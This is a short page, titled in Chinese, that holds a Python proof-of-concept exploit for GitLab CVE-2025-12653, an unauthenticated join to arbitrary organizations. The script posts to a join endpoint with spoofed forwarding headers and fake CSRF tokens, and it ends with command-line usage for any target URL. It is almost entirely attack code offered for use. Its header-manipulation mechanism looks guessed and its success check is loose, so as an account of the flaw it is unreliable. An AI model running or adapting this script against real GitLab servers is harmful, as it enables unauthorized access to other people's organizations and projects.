GitLab CVE-2025-12653 未授权用户可加入任意组织漏洞

import requests import sys # CVE-2025-12653 PoC - GitLab Unauthorized Organization Join # Description: Unauthenticated user can join arbitrary organizations by modifying HTTP headers def exploit_gitlab(target_url, target_org): """ Exploit GitLab CVE-2025-12653 Target: GitLab CE/EE versions 18.3 before 18.4.5, 18.5 before 18.5.3, 18.6 before 18.6.1 """ print(f"[*] Targeting GitLab instance: {target_url}") print(f"[*] Attempting to join organization: {target_org}") # Target endpoint for joining organizations join_url = f"{target_url}/-/organizations/join" # Crafted headers to exploit the vulnerability # Attackers modify request headers to bypass authentication checks headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'application/json', 'Accept-Language': 'en-US,en;q=0.5', 'Content-Type': 'application/json', # Manipulated headers that trigger the vulnerability 'X-Forwarded-Host': target_org, 'X-Original-URL': f"/-/organizations/{target_org}/join", 'Referer': f"{target_url}/organizations/{target_org}", 'X-CSRF-Token': '任意token值' } # Payload to join arbitrary organization payload = { 'organization_path': target_org, 'authenticity_token': 'manipulated_token' } try: # Send malicious request without authentication response = requests.post( join_url, headers=headers, json=payload, timeout=30, verify=False ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text[:500]}") # Check if exploitation was successful if response.status_code == 200 or 'success' in response.text.lower(): print(f"[!] VULNERABLE: Successfully joined organization {target_org}") return True else: print(f"[-] Possibly patched or requires different payload") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-12653.py <target_url> <organization_name>") print("Example: python cve-2025-12653.py https://gitlab.example.com target_org") sys.exit(1) target = sys.argv[1] org = sys.argv[2] exploit_gitlab(target, org)